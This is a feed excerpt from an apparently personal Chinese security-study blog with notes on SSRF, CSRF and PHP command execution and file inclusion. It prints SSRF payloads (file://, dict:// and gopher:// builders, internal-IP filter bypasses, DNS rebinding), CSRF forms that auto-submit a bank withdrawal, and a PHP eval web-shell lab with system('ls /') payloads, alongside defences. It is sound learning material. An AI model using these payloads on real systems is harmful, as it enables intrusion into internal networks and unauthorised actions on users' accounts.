    <published>2026-01-27T15:00:00.000Z</published>
    <summary>
      <![CDATA[<p> 先写靶场</p>
<ol>
<li>直接用get访问即可，这里对文件没有任何限制。</li>
<li>用upload那里学到的00截断来做，如果你要传php文件的话，可以不用管，因为他是加上后缀.php（其实我这里没有看懂这个防御方式），如果要穿其他文件的话，就在末尾用0]]>
    </summary>
    <title>LFI</title>
    <updated>2026-01-27T15:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h3 id="SSRF是什么"><a href="#SSRF是什么" class="headerlink" title="SSRF是什么"></a>SSRF是什么</h3><ol><li>SSRF（Server-Side Request Forgery）<br>是指：攻击者能控制服务器去“主动发起请求”访问任意 URL，包括内网 本地服务 云元数据接口（是一个位于 <strong>固定内网 IP</strong> 的 HTTP 服务，用于向云主机提供 <strong>身份信息、实例信息、临时访问凭证</strong>。可以在里面找目录的关键信息）等。（怎么有点被迫代理的感觉）能做到探测内网服务（最常见）访问本地服务 协议扩展</li></ol><h3 id="哪种情况能遇到"><a href="#哪种情况能遇到" class="headerlink" title="哪种情况能遇到"></a>哪种情况能遇到</h3><p>文章里写了很多常见的漏洞场景 其实总结起来就是服务器会根据用户输入，主动去访问一个地址 &#x2F; 主机 &#x2F; URL   根本上说 对于后端函数的使用不当（好吧这样说不好）限制不当</p><ul><li>file_get_contents()：将整个文件或一个url所指向的文件读入一个字符串中。</li><li>readfile()：输出一个文件的内容。</li><li>fsockopen()：打开一个网络连接或者一个Unix 套接字连接。</li><li>curl_exec()：初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close() 函数使用。</li><li>fopen()：打开一个文件文件或者 URL。</li></ul><h3 id="常用漏洞"><a href="#常用漏洞" class="headerlink" title="常用漏洞"></a>常用漏洞</h3><ol><li>读取内网文件（file协议）将服务器上的本地文件及网站源码读取出来比如<br><code>?url=file:///var/www/html/flag.php</code></li><li>探测内网主机存活 原理也就是一个网段里面自己访问得通不</li><li>端口探测 类似的 看回显版本不（这个payload是这样的）dict协议</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ssrf.php?url=dict://192.168.52.131:6379/info   // redis  </span><br><span class="line">ssrf.php?url=dict://192.168.52.131:80/info     // http  </span><br><span class="line">ssrf.php?url=dict://192.168.52.130:22/info   // ssh</span><br></pre></td></tr></table></figure><ol start="4"><li>Gopher协议（太强了 单开）支持发出GET、POST请求，我们可以先截获GET请求包和POST请求包，再构造成符合Gopher协议请求的payload进行SSRF利用</li></ol><ul><li><strong>Gopher协议格式</strong></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">URL: gopher://&lt;host&gt;:&lt;port&gt;/&lt;gopher-path&gt;_后接TCP数据流  </span><br><span class="line">​  </span><br><span class="line"># 注意不要忘记后面那个下划线&quot;_&quot;，下划线&quot;_&quot;后面才开始接TCP数据流，如果不加这个&quot;_&quot;，那么服务端收到的消息将不是完整的，该字符可随意写。</span><br><span class="line"> gopher的默认端口是70</span><br><span class="line">如果发起POST请求，回车换行需要使用`%0d%0a`来代替`%0a`，如果多个参数，参数之间的&amp;也需要进行URL编码</span><br></pre></td></tr></table></figure><ul><li><strong>利用Gopher协议发送HTTP GET请求</strong><br>抓取或构造HTTP数据包 比如</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET /echo.php?whoami=Bunny HTTP/1.1  </span><br><span class="line">Host: 47.xxx.xxx.72</span><br></pre></td></tr></table></figure><p>脚本搬运一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">mport urllib.parse  </span><br><span class="line">payload =\  </span><br><span class="line">&quot;&quot;&quot;GET /echo.php?whoami=Bunny HTTP/1.1  </span><br><span class="line">Host: 47.xxx.xxx.72  </span><br><span class="line">&quot;&quot;&quot;    </span><br><span class="line"># 注意后面一定要有回车，回车结尾表示http请求结束  </span><br><span class="line">tmp = urllib.parse.quote(payload)  </span><br><span class="line">new = tmp.replace(&#x27;%0A&#x27;,&#x27;%0D%0A&#x27;)  </span><br><span class="line">result = &#x27;gopher://47.xxx.xxx.72:80/&#x27;+&#x27;_&#x27;+new  </span><br><span class="line">print(result)</span><br></pre></td></tr></table></figure><p>注意事项<br><strong>注意这几个问题：</strong></p><ol><li>问号（?）需要转码为URL编码，也就是%3f</li><li>回车换行要变为%0d%0a,但如果直接用工具转，可能只会有%0a</li><li>在HTTP包的最后要加%0d%0a，代表消息结束（具体可研究HTTP包结束）<br><code>gopher://47.xxx.xxx.72:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.72%0D%0A</code>生成之后</li></ol><ul><li><strong>利用Gopher协议发送HTTP POST请求</strong></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">POST /echo.php HTTP/1.1</span><br><span class="line">Host: 47.xxx.xxx.72</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 12</span><br><span class="line">whoami=Bunny</span><br></pre></td></tr></table></figure><p><strong>注意：上面那四个HTTP头是POST请求必须的，即POST、Host、Content-Type和Content-Length。如果少了会报错的，而GET则不用。并且，特别要注意Content-Length应为字符串“whoami&#x3D;Bunny”的长度。</strong><br>脚本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">mport urllib.parse</span><br><span class="line">payload =\</span><br><span class="line">&quot;&quot;&quot;POST /echo.php HTTP/1.1</span><br><span class="line">Host: 47.xxx.xxx.72</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 12</span><br><span class="line"></span><br><span class="line">whoami=Bunny</span><br><span class="line">&quot;&quot;&quot;  </span><br><span class="line"># 注意后面一定要有回车，回车结尾表示http请求结束</span><br><span class="line">tmp = urllib.parse.quote(payload)</span><br><span class="line">new = tmp.replace(&#x27;%0A&#x27;,&#x27;%0D%0A&#x27;)</span><br><span class="line">result = &#x27;gopher://47.xxx.xxx.72:80/&#x27;+&#x27;_&#x27;+new</span><br><span class="line">print(result)</span><br></pre></td></tr></table></figure><h3 id="相关绕过姿势"><a href="#相关绕过姿势" class="headerlink" title="相关绕过姿势"></a>相关绕过姿势</h3><p>先写限制一般有几种<br>限制请求的端口只能为Web端口，只允许访问HTTP和HTTPS的请求。<br>限制域名只能为<a href="http://www.xxx.com/">http://www.xxx.com</a><br>限制不能访问内网的IP，以防止对内网进行攻击。<br>屏蔽返回的详细信息。</p><ol><li>对于- 限制域名只能为<code>http://www.xxx.com</code>的 采用HTTP基本身份认证的方式绕过<br><code>www.baidu.com@127.0.0.1</code>则会跳转的127.0.0.1 文章里面说谷歌浏览器是这样 但是我的火狐谷歌都可以。</li><li>进制转换 绕过内网限制  php脚本可以一键转换：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php  </span><br><span class="line">$ip = &#x27;127.0.0.1&#x27;;  </span><br><span class="line">$ip = explode(&#x27;.&#x27;,$ip);  </span><br><span class="line">$r = ($ip[0] &lt;&lt; 24) | ($ip[1] &lt;&lt; 16) | ($ip[2] &lt;&lt; 8) | $ip[3] ;  </span><br><span class="line">if($r &lt; 0) &#123;  </span><br><span class="line">$r += 4294967296;  </span><br><span class="line">&#125;  </span><br><span class="line">echo &quot;十进制:&quot;;     // 2130706433  </span><br><span class="line">echo $r;  </span><br><span class="line">echo &quot;八进制:&quot;;     // 0177.0.0.1  </span><br><span class="line">echo decoct($r);  </span><br><span class="line">echo &quot;十六进制:&quot;;   // 0x7f.0.0.1  </span><br><span class="line">echo dechex($r);  </span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>还有一些本地的替换</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/         # localhost就是代指127.0.0.1  </span><br><span class="line">http://0/                 # 0在window下代表0.0.0.0，而在liunx下代表127.0.0.1  </span><br><span class="line">http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用，window测试了下不行  </span><br><span class="line">http://[::]:80/           # 在liunx下可用，window测试了下不行  </span><br><span class="line">http://127。0。0。1/       # 用中文句号绕过  </span><br><span class="line">http://①②⑦.⓪.⓪.①  </span><br><span class="line">http://127.1/  </span><br><span class="line">http://127.00000.00000.001/ # 0的数量多一点少一点都没影响，最后还是会指向127.0.0.1</span><br></pre></td></tr></table></figure><ol start="3"><li>302跳转绕过 重定向 这一点很妙啊</li></ol><ul><li><p>短地址跳转绕过 文章给的神奇网站已经没了 开始疯狂寻找 <a href="https://clck.ru/">https://clck.ru/</a> 经过多次实验 这个生成的最快且免费 毛子做的</p></li><li><p>xip.io - 浏览器请求<br>  <code>http://127.0.0.1.xip.io/flag.php</code></p></li><li><p>DNS 查询<br>  <code>127.0.0.1.xip.io → 127.0.0.1</code></p></li><li><p>TCP 连接<br>  <code>connect(127.0.0.1:80)</code></p></li><li><p>HTTP 请求（非常关键）：</p><p>  <code>GET /flag.php HTTP/1.1 Host: 127.0.0.1.xip.io</code></p></li></ul><ol start="3"><li>DNS rebinding<br><img src="/images/SSRF&CSRF/IMG-20260114190429616.png"><br>在网站 SSRF 漏洞处访问精心构造的域名。网站第一次解析域名，获取到的IP地址为A；<br> 经过网站后端服务器的检查，判定此IP为合法IP。<br> 网站获取URL对应的资源（在一次网络请求中，先根据域名服务器获取IP地址，再向IP地址请求资源），第二次解析域名。此时已经过了ttl的时间，解析记录缓存IP被删除。第二次解析到的域名为被修改后的 IP 即为内网IP B；<br>攻击者访问到了内网IP。<br>时间差对应DNS中的机制是TTL。TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。即请求了域名与iP的关系后，请求方会缓存这个关系，缓存保持的时间就是TTL。而缓存失效后就会删除，这时候如果重新访问域名指定的IP的话会重新建立匹配关系及cache。</li></ol><p>在不同的语言，不同服务器中也存在差异</p><ul><li>java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl，默认情况下没有设置)，失败的默认缓存10s。（缓存时间在 &#x2F;Library&#x2F;Java&#x2F;JavaVirtualMachines&#x2F;jdk &#x2F;Contents&#x2F;Home&#x2F;jre&#x2F;lib&#x2F;security&#x2F;java.security 中配置）  </li><li>在php中则默认没有缓存。  </li><li>Linux默认不会进行DNS缓存，mac和windows会缓存(所以复现的时候不要在mac、windows上尝试)  </li><li>有些公共DNS服务器，比如114.114.114.114还是会把记录进行缓存，但是8.8.8.8是严格按照DNS协议去管理缓存的，如果设置TTL为0，则不会进行缓存。<br>这种脚本网上可以找到很多 先挂上链<br><a href="https://security.tencent.com/index.php/blog/msg/179">https://security.tencent.com/index.php/blog/msg/179</a></li></ul><ol start="5"><li>SSRF新型攻击手法—When TLS Hacks You<br>理解了好久 自己的理解写了又删 还是搬下来原文了</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">当客户端和服务器端初次建立TLS握手时（例如浏览器访问HTTPS网站），需要双方建立一个完整的TLS连接，该过程为了保证数据的传输具有完整性和机密性，需要做很多事情，如密钥协商出会话密钥，数字签名身份验证，消息验证码MAC等。这个过程是非常消耗资源的，而且当下一次客户端访问同一个HTTPS网站时，这个过程需要再重复一次，这无疑会造成大量的资源消耗。</span><br><span class="line"></span><br><span class="line">   </span><br><span class="line">为了提高性能，TLS/SSL提供了会话恢复的方式，允许客户端和服务端在某次关闭连接后，下一次客户端访问时恢复上一次的会话连接。会话恢复有两种，一种是基于session ID恢复，一种是使用Session Ticket的TLS扩展。这里主要介绍一下session ID。  </span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">每一个会话都由一个Session ID标识符标识，当建立一个TLS连接时，服务器会生成一个session ID给客户端，服务端保留会话记录，重新连接的客户端可以在clientHello消息期间提供此会话ID，并重新使用此前建立的会话密钥，而不需要再次经历秘钥协商等过程。TLS session id在RFC-5077中有着详细描述，基本所有数据都可以用作会话标志符，包括换行符。</span><br><span class="line"></span><br><span class="line">   </span><br><span class="line">Session ticket和session id作用类似，在客户端和服务端建立了一次完整的握手后，服务端会将本次的会话数据加密，但是session ticket将会话记录保存在客户端，而且与session id 32字节的大小不同，session ticket可提供65k的空间，这就能为我们的payload提供足够的空间。  </span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">在讲完这些细节之后，攻击的思路就会很清晰了，session id是服务器提供给客户端的，如果我们构建一个恶意的tls服务器，然后将我们的恶意session id发送给客户端，然后通过dns rebinding，将服务器域名的地址指向内网ip应用，例如memcache，客户端在恢复会话时就会带上恶意的session id去请求内网的memcache，从而攻击了内网应用。  </span><br><span class="line">  大致流程如下：</span><br><span class="line">1.利用服务器发起一个 HTTPS 请求。  </span><br><span class="line">2.请求时会发起一个 DNS 解析请求，DNS 服务器回应一个 TTL 为 0 的结果，指向攻击者的服务器。  </span><br><span class="line">3.攻击者服务器响应请求，并返回一个精心构造过的 SessionID，并延迟几秒后回应一个跳转。  </span><br><span class="line">4.客户端接收到这个回应之后会进行跳转，这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0，则会再次发起一次解析请求，这次返回的结果则会指向 SSRF 攻击的目标（例如本地的memcache数据库）。  </span><br><span class="line">5.因为请求和跳转时的域名都没有变更，本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行，发送到目标的那个端口上。  </span><br><span class="line">6.则达到目的，成功对目标端口发送构造过的数据，成功 SSRF。 </span><br></pre></td></tr></table></figure><p>只能说太巧妙了  后面寒假去试试复现的 文章链接在上面    to do</p><h3 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h3><p>放在一起的原因是 我觉得和SSRF非常非常相似了 攻击条件很类似于xss </p><h4 id="什么是CSRF"><a href="#什么是CSRF" class="headerlink" title="什么是CSRF"></a>什么是CSRF</h4><p>CSRF，跨站请求伪造，是一种<strong>利用用户已登录状态</strong>，诱导浏览器在<strong>不知情的情况下</strong>向目标站点发送请求的攻击方式。身份用的是用户的 执行的行为是我想执行的</p><h4 id="GET请求"><a href="#GET请求" class="headerlink" title="GET请求"></a>GET请求</h4><p><code>&lt;img src=&quot;https://xiexie/logout&quot;&gt;</code><br>当受害者访问该页面时，浏览器会自动向这个url发起一次 GET 请求。<br>实际请求就是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GET /logout HTTP/1.1</span><br><span class="line">Host: xiexie</span><br><span class="line">Cookie: session=USER_SESSION</span><br></pre></td></tr></table></figure><p>浏览器中有大量自动触发 GET 请求的标签</p><ul><li><code>&lt;img&gt;</code></li><li><code>&lt;iframe&gt;</code></li><li><code>&lt;script&gt;</code></li><li><code>&lt;link&gt;</code><br>在xss里面的学习也都挺熟悉的了 页面加载即执行</li></ul><h4 id="POST请求"><a href="#POST请求" class="headerlink" title="POST请求"></a>POST请求</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;form action=&quot;http://bank.example/withdraw&quot; method=&quot;POST&quot;&gt;</span><br><span class="line">  &lt;input type=&quot;hidden&quot; name=&quot;account&quot; value=&quot;xiaoming&quot;&gt;</span><br><span class="line">  &lt;input type=&quot;hidden&quot; name=&quot;amount&quot; value=&quot;10000&quot;&gt;</span><br><span class="line">  &lt;input type=&quot;hidden&quot; name=&quot;for&quot; value=&quot;hacker&quot;&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">  document.forms[0].submit();</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><p><code>&lt;form&gt;</code> 是浏览器原生支持的请求构造机制</p><ul><li><code>action</code> → 目标接口</li><li><code>method</code> → 请求方式</li><li><code>input</code> → 请求参数<br><code>hidden</code> 参数的攻击意义  用户不可见<br><code>document.forms[0].submit();</code> 按这个 form 的定义，立刻发一个 HTTP 请求<br>也就是说这个</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">POST /withdraw HTTP/1.1</span><br><span class="line">Host: bank.example</span><br><span class="line">Cookie: session=USER_SESSION</span><br><span class="line"></span><br><span class="line">account=xiaoming&amp;amount=10000&amp;for=hacker</span><br></pre></td></tr></table></figure><h4 id="钓鱼链接"><a href="#钓鱼链接" class="headerlink" title="钓鱼链接"></a>钓鱼链接</h4><p>这种其实还是挺有意思的 起码在同学恶搞里面出现的比较多…<br>如果说想要往出题的方向靠的话 那就做个傻傻的机器人去点所有可以点击的链接</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;a href=&quot;http://test.com/csrf/withdraw.php?amount=1000&amp;for=hacker&quot; taget=&quot;_blank&quot;&gt; </span><br><span class="line">重磅消息！！</span><br><span class="line"> &lt;a/&gt; </span><br></pre></td></tr></table></figure><h3 id="防御"><a href="#防御" class="headerlink" title="防御"></a>防御</h3><ol><li>关于同源策略 同源策略是浏览器的安全策略，不是服务器的<br>只有“同源”的页面，才能互相读取数据；<br>不同源的页面，默认只能“发请求”，不能“读响应”<br>三个条件必须全部相同 才能叫同源  协议 域名 端口 ai写了个例子<br><code>https://www.example.com:443</code>这个与下面的三个都不同源</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://www.example.com:443</span><br><span class="line">https://api.example.com:443</span><br><span class="line">https://www.example.com:8443</span><br></pre></td></tr></table></figure><ul><li>哪些行为被同源策略禁止</li></ul><ol><li>读取跨源响应内容 比如<br><img src="/images/23.png"></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">fetch(&quot;https://bank.example/api/balance&quot;)</span><br><span class="line">  .then(r =&gt; r.text())</span><br></pre></td></tr></table></figure><p>请求时能发出的 只是收不到响应<br>2. 访问跨域页面的 DOM(DOM在xss里面学习过概念 DOM 是浏览器“理解并正在使用的页面结构”) </p><ul><li>同源：可以访问 DOM 比如</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- parent.html --&gt;</span><br><span class="line">&lt;iframe id=&quot;f&quot; src=&quot;child.html&quot;&gt;&lt;/iframe&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">  const iframe = document.getElementById(&quot;f&quot;);</span><br><span class="line">  console.log(iframe.contentWindow.document.body.innerHTML);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>跨源会直接报错的<br>3. 跨源 Cookie 的 JS 访问 这个很好理解了<br><code>console.log(document.cookie[&quot;bank.example&quot;]);</code> 能这样直接读别人的cookie吗<br>这里贴一下文章里面的跨站请求带cookie的情况<br><img src="/images/24.png"></p><ul><li>上面是关于外域的访问限制 那么想一下CSRF的关键就是直接用了用户的cookie 但其实没有去管cookie怎么来的？你是你吗？之类的逻辑 为了验证你是你自己 而不是哪个坏坏的黑客 文章里面提到的操作都挺妙的 如果我是程序猿的话 大概率只能想到个笨笨的验证码</li></ul><ol><li>token验证<br>比如我们可以加一个一次性生成的token，根据浏览器的同源策略这个token并不能被csrf获取让每个请求带上这个token并进行验证（这里的token可以放在http请求的参数里），这样的话，CSRF无法获取Token从而隔绝攻击，当然实战渗透测试的时候可能有些网站会有token但并无作用 我怎么感觉有一个这个就够了？（单说这一种CSRF）除了上面说的摆设token 或是生成方式比较简陋有规律的那种 其实很难再进攻了</li><li>双重cookie 就是请求中要带着cookie里的参数 这个刚开始看了文章我很疑惑 这个不是说了会自动取出cookie吗 为什么还能防御 也不需要攻击者知道cookie啊 感觉没什么作用 肤浅了..<br>我以为是服务端直接拿出cookie拼在每个请求里面….. 明明是前端读取的 如果是攻击者的话 得到的cookie就不一样了 我在想什么 局限是下面</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">由于任何跨域都会导致前端无法获取Cookie中的字段（包括子域名之间），于是发生了如下情况：</span><br><span class="line"></span><br><span class="line">如果用户访问的网站为`www.a.com`，而后端的api域名为`api.a.com`。那么在`www.a.com`下，前端拿不到`api.a.com`的Cookie，也就无法完成双重Cookie认证。</span><br><span class="line"></span><br><span class="line">于是这个认证Cookie必须被种在`a.com`下，这样每个子域都可以访问。</span><br><span class="line"></span><br><span class="line">任何一个子域都可以修改`a.com`下的Cookie。</span><br><span class="line"></span><br><span class="line">某个子域名存在漏洞被XSS攻击（例如`upload.a.com`）。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了`a.com`下的Cookie。</span><br><span class="line"></span><br><span class="line">攻击者可以直接使用自己配置的Cookie，对XSS中招的用户再向`www.a.com`下，发起CSRF攻击。</span><br></pre></td></tr></table></figure><p>文章<a href="https://h0lm2pyudgf.feishu.cn/wiki/XyAXwiKkNi62bLk67GMcOeTYnOg">https://h0lm2pyudgf.feishu.cn/wiki/XyAXwiKkNi62bLk67GMcOeTYnOg</a></p>]]>
    </content>
    <id>http://47.109.24.42/2026/01/14/SSRF%20and%20CSRF/</id>
    <link href="http://47.109.24.42/2026/01/14/SSRF%20and%20CSRF/"/>
    <published>2026-01-14T13:00:00.000Z</published>
    <summary>
      <![CDATA[<h3 id="SSRF是什么"><a href="#SSRF是什么" class="headerlink" title="SSRF是什么"></a>SSRF是什么</h3><ol>
<li>SSRF（Server-Side Request Forgery）<br>是指：攻击者能]]>
    </summary>
    <title>
      <![CDATA[SSRF&CSRF]]>
    </title>
    <updated>2026-01-14T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h3 id="靶场"><a href="#靶场" class="headerlink" title="靶场"></a>靶场</h3><ol><li>eval执行</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">    if(isset($_REQUEST[&#x27;cmd&#x27;]))&#123;</span><br><span class="line">        eval($_REQUEST[&#x27;cmd&#x27;]);</span><br><span class="line">    &#125;</span><br><span class="line">else&#123;</span><br><span class="line">        highlight_file(__FILE__);</span><br><span class="line">    &#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>最简单的漏洞题 知识点直接在wp里面找 但几乎都知道<br> <code>$_REQUEST</code> 是一个超全局变量，它包含了通过 <code>GET</code>、<code>POST</code> 或 <code>COOKIE</code> 方法传递的参数。<br> <code>eval()</code> 函数会将传递进来的 <code>cmd</code> 参数的值作为 PHP 代码来执行。使用system()，让eval直接执行我们对系统的操作 就是普通的<code>/?cmd=system(&quot;ls /&quot;)</code> 然后查看即可<br> <strong>exec()</strong>，执行系统命令，默认仅返回命令输出的最后一行<br>语法：exec(string $command, array $output &#x3D; null, int $return_var &#x3D; null): string|false<br>$command：要执行的系统命令；<br>$output：可选，数组引用，存储命令的所有输出行；<br>$return_var：可选，整数引用，存储命令的退出状态码（0 表示执行成功，非 0 为失败）。<br>特点：无直接输出（需手动打印$output），适合需要获取结构化输出的场景，不输出二进制数据，我在靶场里面没有用到过。<br><strong>system()</strong>,执行系统命令，<strong>直接将命令输出打印到页面</strong>.<br><strong>passthru()</strong><br>作用：执行系统命令，直接将原始输出（包括二进制数据）打印到页面，无返回值。<br><strong>shell_exec()</strong>无直接输出，需手动打印,也就是自己先存然后echo出来 基本用不太到<br>有一个特殊的，<strong>反引号等价性</strong>：PHP 中，将命令用反引号包裹，效果与shell_exec()完全一致（如<code>ls -l</code>等价于shell_exec(‘ls -l’)）<br> 2. php里面 <code>error_reporting(0);</code>：将错误报告级别设置为 0，也就是关闭所有错误报告，就是运行的时候即使出现问题也不会在页面上报错，为了隐藏在代码运行时潜在的问题<br>include():语句的主要作用是将指定文件的内容插入到当前 PHP 文件中该语句所在的位置，并当作当前文件的一部分来执行。这里在upload靶场就见过 可以说是风险很大的一个函数 用上本身的文件然后加上rce即可<br>文件包含需要 (1)采用 include 等文件包含函数，并且需要包含的文件路径是通过用户传输参数的方式引入；<br>（2）用户能够控制包含文件的参数，被包含的文件可被当前页面访问<br>3. <strong>php:&#x2F;&#x2F;input</strong> php:&#x2F;&#x2F;input 用于 <strong>直接读取 HTTP 请求体（request body）中的原始数据</strong>。这里用文章例子来说明</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"># 尝试通过 php://input 协议获取原始 POST 数据</span><br><span class="line">$raw_data = file_get_contents(&#x27;php://input&#x27;);</span><br><span class="line">var_dump($raw_data);</span><br><span class="line"># 通过输出 HTML 标签 &lt;/br&gt; 实现换行功能</span><br><span class="line">echo &#x27;&lt;/br&gt;&#x27;;</span><br><span class="line"># 经 PHP 整理的 POST 数据</span><br><span class="line">var_dump($_POST);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>也就是一种直接读取原始 POST 数据的方式 前提是若要启用 allow_url_include，首先需要确保 allow_url_fopen 也是启用的，因为 allow_url_include 依赖于 allow_url_fopen 发送post的<code>&lt;?php system(&#39;ls /&#39;);?&gt;</code>即可<br>4. <strong>php:&#x2F;&#x2F;filter</strong> 用于在读取 &#x2F; 写入数据流（比如读取文件内容、处理输入输出）时，对数据进行过滤 &#x2F; 转换处理 数据在经过这个通道时，会按照你指定的规则被处理（比如编码、解码、大小写转换等）。基本语法是这样的<code>php://filter/[过滤规则]/resource=[目标资源]</code> 过滤规则一般常用的就是读取文件并 Base64 编码输出 多个过滤器用|分隔，按顺序处理 比如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$content =file_get_contents(&quot;php://filter/convert.base64encode|string.toupper/resource=test.txt&quot;)</span><br></pre></td></tr></table></figure><p><img src="/images/15.png"><br><code>php://filter/read = convert.base64 - 